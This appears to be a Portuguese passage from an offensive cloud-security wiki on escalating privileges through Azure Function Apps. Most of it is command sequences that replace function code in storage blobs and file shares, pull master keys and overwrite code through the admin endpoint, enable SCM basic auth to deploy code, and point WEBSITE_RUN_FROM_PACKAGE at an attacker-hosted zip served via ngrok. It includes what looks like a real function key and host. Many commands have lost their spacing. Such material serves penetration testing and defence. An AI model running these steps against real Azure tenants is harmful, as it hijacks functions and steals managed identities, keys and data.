Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar diferentes contêineres (personalizados ou com nomes pré-definidos) que podem conter o código executado pela função.
Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de gravação sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função.
File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE)
O código da função geralmente é armazenado dentro de um compartilhamento de arquivos. Com acesso suficiente, é possível modificar o arquivo de código e fazer a função carregar código arbitrário, permitindo escalar privilégios para as identidades gerenciadas anexadas à Função.
Esse método de implantação geralmente configura as configurações WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE que você pode obter de
Essas configurações conterão a Chave da Conta de Armazenamento que a Função pode usar para acessar o código.
Com permissões suficientes para se conectar ao File Share e modificar o script em execução, é possível executar código arbitrário na Função e escalar privilégios.
O exemplo a seguir usa macOS para se conectar ao file share, mas é recomendável verificar também a seguinte página para mais informações sobre file shares:
# Username is the name of the storage account# Password is the Storage Account Key# Open the connection to the file share# Change the code of the script like /site/wwwroot/function_app.pyopen"smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases (WEBSITE_RUN_FROM_PACKAGE)
É comum encontrar os zip releases dentro da pasta function-releases do contêiner da Conta de Armazenamento que o aplicativo de função está usando em um contêiner geralmente chamado function-releases.
Normalmente, esse método de implantação definirá a configuração WEBSITE_RUN_FROM_PACKAGE em:
Esta configuração geralmente conterá uma URL SAS para download do código da Conta de Armazenamento.
Com permissões suficientes para se conectar ao contêiner de blob que contém o código em zip, é possível executar código arbitrário na Função e escalar privilégios.
github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)
Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta github-actions-deploy na Conta de Armazenamento contendo um zip do código e uma URL SAS para o zip na configuração WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING e WEBSITE_CONTENTSHARE)
Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar o contêiner scm-releases. Nele, é possível encontrar a versão mais recente no formato de arquivo de sistema de arquivos Squashfs e, portanto, é possível ler o código da função:
# List containers inside the storage account of the function appazstoragecontainerlist \--account-name <acc-name> \--output table# List files inside one containerazstoragebloblist \--account-name <acc-name> \--container-name <container-name> \--output table# Download fileazstorageblobdownload \--account-name <res-group> \--container-name scm-releases \--name scm-latest-<app-name>.zip \--file /tmp/scm-latest-<app-name>.zip## Even if it looks like the file is a .zip, it's a Squashfs filesystem# Installbrewinstallsquashfs# List contents of the filesystemunsquashfs-l"/tmp/scm-latest-<app-name>.zip"# Get all the contentsmkdir/tmp/fsunsquashfs-d/tmp/fs/tmp/scm-latest-<app-name>.zip
É possível encontrar as chaves master e functions armazenadas na conta de armazenamento no contêiner azure-webjobs-secrets dentro da pasta <app-name> nos arquivos JSON que você pode encontrar dentro.
Com permissões suficientes para se conectar ao contêiner de blob que contém o código em um arquivo com extensão zip (que na verdade é um squashfs), é possível executar código arbitrário na Função e escalar privilégios.
# Modify code inside the script in /tmp/fs adding your code# Generate new filesystem filemksquashfs/tmp/fs/tmp/scm-latest-<app-name>.zip-b131072-noappend# Upload it to the blob storageazstorageblobupload \--account-name <storage-account> \--container-name scm-releases \--name scm-latest-<app-name>.zip \--file /tmp/scm-latest-<app-name>.zip \--overwrite
Microsoft.Web/sites/host/listkeys/action
Esta permissão permite listar as chaves de função, mestre e sistema, mas não a chave do host, da função especificada com:
Com a chave mestra, também é possível obter o código-fonte em uma URL como:
# Get "script_href" fromazrest--methodGET \--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"# Accesscurl"<script-href>?code=<master-key>"## Python example:curl"https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g=="-v
E para mudar o código que está sendo executado na função com:
# Set the code to set in the function in /tmp/function_app.py## The following continues using the python examplecurl-XPUT"https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \--data-binary @/tmp/function_app.py \-H "Content-Type: application/json" \-H "If-Match: *" \-v
Microsoft.Web/sites/functions/listKeys/action
Esta permissão permite obter a chave do host da função especificada com:
Esta permissão permite obter as configurações de uma função. Dentro dessas configurações, pode ser possível encontrar os valores padrão AzureWebJobsStorage ou WEBSITE_CONTENTAZUREFILECONNECTIONSTRING que contêm uma chave de conta para acessar o blob storage da função com permissões COMPLETAS.
Essas permissões permitem listar os valores de configuração de uma função, como vimos antes, além de modificar esses valores. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado.
Portanto, é possível definir o valor da configuração WEBSITE_RUN_FROM_PACKAGE apontando para um arquivo zip de URL contendo o novo código a ser executado dentro de uma aplicação web:
Crie o código que você deseja que a função execute e o hospede publicamente
# Write inside /tmp/web/function_app.py the code of the functioncd/tmp/web/function_app.pyzipfunction_app.zipfunction_app.pypython3-mhttp.server# Serve it using ngrok for examplengrokhttp8000
Modifique a função, mantenha os parâmetros anteriores e adicione no final a configuração WEBSITE_RUN_FROM_PACKAGE apontando para a URL com o zip contendo o código.
O seguinte é um exemplo das minhas próprias configurações que você precisará alterar os valores para os seus, note no final os valores "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", é aqui que eu estava hospedando o aplicativo.
Com esta permissão, é possível modificar o código de uma aplicação através do console da web (ou através do seguinte endpoint da API):
# This is a python example, so we will be overwritting function_app.py# Store in /tmp/body the raw python code to put in the functionazrest--methodPUT \--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \--headers '{"Content-Type": "application/json", "If-Match": "*"}' \--body @/tmp/body
Se você ver que essas credenciais estão REDACTED, é porque você precisa habilitar a opção de autenticação básica do SCM e para isso você precisa da segunda permissão (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
Em seguida, você pode acessar com essas credenciais de autenticação básica para a URL SCM do seu aplicativo de função e obter os valores das variáveis de ambiente:
# Get settings valuescurl-u'<username>:<password>' \https://<app-name>.scm.azurewebsites.net/api/settings -v# Deploy code to the funcitonzipfunction_app.zipfunction_app.py# Your code in function_app.pycurl-u'<username>:<password>'-XPOST--data-binary"@<zip_file_path>" \https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Note que o nome de usuário SCM é geralmente o caractere "$" seguido pelo nome do aplicativo, então: $<app-name>.
Você também pode acessar a página da web em https://<app-name>.scm.azurewebsites.net/BasicAuth
Os valores das configurações contêm a AccountKey da conta de armazenamento que armazena os dados do aplicativo de função, permitindo controlar essa conta de armazenamento.
Método FTP
Conecte-se ao servidor FTP usando:
# macOS install lftpbrewinstalllftp# Connect using lftplftp-u'<username>','<password>' \ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/# Some commandsls# Listget./function_app.py-o/tmp/# Download function_app.py in /tmpput/tmp/function_app.py-o/site/wwwroot/function_app.py# Upload file and deploy it
Note que o nome de usuário FTP geralmente está no formato <nome-do-app>\$<nome-do-app>.
Microsoft.Web/sites/publish/Action
De acordo com a documentação, esta permissão permite executar comandos dentro do servidor SCM, o que pode ser usado para modificar o código-fonte da aplicação:
Com esta permissão, é possível obter o token de administrador que pode ser usado posteriormente para recuperar a chave mestra e, portanto, acessar e modificar o código da função:
# Get admin tokenazrest--methodPOST \--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \--headers '{"Content-Type": "application/json"}' \--debug# Get master keycurl"https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \-H "Authorization: Bearer <token>"
Com essas permissões, é possível modificar o contêiner executado por um aplicativo de função configurado para executar um contêiner. Isso permitiria que um atacante enviasse um aplicativo de contêiner de função do Azure malicioso para o docker hub (por exemplo) e fizesse a função executá-lo.
Com essas permissões, é possível anexar uma nova identidade gerenciada pelo usuário a uma função. Se a função fosse comprometida, isso permitiria escalar privilégios para qualquer identidade gerenciada pelo usuário.
Também é possível conectar para depurar uma função do Azure em execução, como explicado na documentação. No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis.
É possível verificar se uma Função tem a depuração ativada com:
Tendo a permissão Microsoft.Web/sites/config/write, também é possível colocar uma função em modo de depuração (o comando a seguir também requer as permissões Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read e Microsoft.Web/sites/Read).
Tentei mudar o repositório do Github de onde a implantação está ocorrendo executando os seguintes comandos, mas mesmo que tenha mudado, o novo código não foi carregado (provavelmente porque está esperando que a Github Action atualize o código).
Além disso, a credencial federada da identidade gerenciada não foi atualizada permitindo o novo repositório, então parece que isso não é muito útil.
# Remove currentazfunctionappdeploymentsourcedelete \--name funcGithub \--resource-group Resource_Group_1# Load new public repoazfunctionappdeploymentsourceconfig \--name funcGithub \--resource-group Resource_Group_1 \--repo-url "https://github.com/orgname/azure_func3" \--branch main--github-actiontrue